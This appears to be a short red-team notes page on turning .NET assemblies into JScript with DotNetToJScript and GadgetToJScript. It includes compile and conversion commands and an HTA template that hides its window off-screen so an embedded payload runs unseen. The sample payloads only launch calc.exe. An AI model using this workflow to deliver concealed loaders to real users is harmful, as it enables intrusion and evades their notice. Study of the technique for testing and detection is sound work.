JScript

DotNetToJScript

References

Execute DotNetToJscript.exe and supply it with the ExampleAssembly.dll, specify the output file and the output type:

#Sample DLL
#csc.exe /target:library thisfile.cs -o sample.dll

using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace Prog
{
public class Popme
{
  public void Box()
  {
    Process.Start("calc.exe");
    System.Windows.Forms.MessageBox.Show("Hello");
  }
}
}

Compile

#Test
DotNetToJScript.exe  -l JScript -o test.js -c <namespace. eg: Popme> sample.dll
Wscript.exe test.js

#For HTA
DotNetToJScript.exe  -l JScript -o output.txt -c <Classname. eg: Popme> sample.dll
#Append : o.<Method Name>();

Create HTA

<html>
<head>
<script language="JScript">
window.moveTo(-1337, -2019);
window.blur();
window.resizeTo(2, 4);

<!!! Add Script Here !!!>
</script>
<hta:application caption="no" windowState="minimize" showInTaskBar="no"
                 scroll="no" navigable="no" />
                 <!--  -->
</head>
<body>
</body>
</html>

GadgetToJScript

#Create a constructor. Save as source.cs

using System;
using System.Diagnostics;

public class Same
 { 
  public Same()
   {
    Process.Start("calc.exe");
   }
 }
GadgetToJScript.exe -i source.cs -w js -r <Reference assembly> -o out.txt -f

Last updated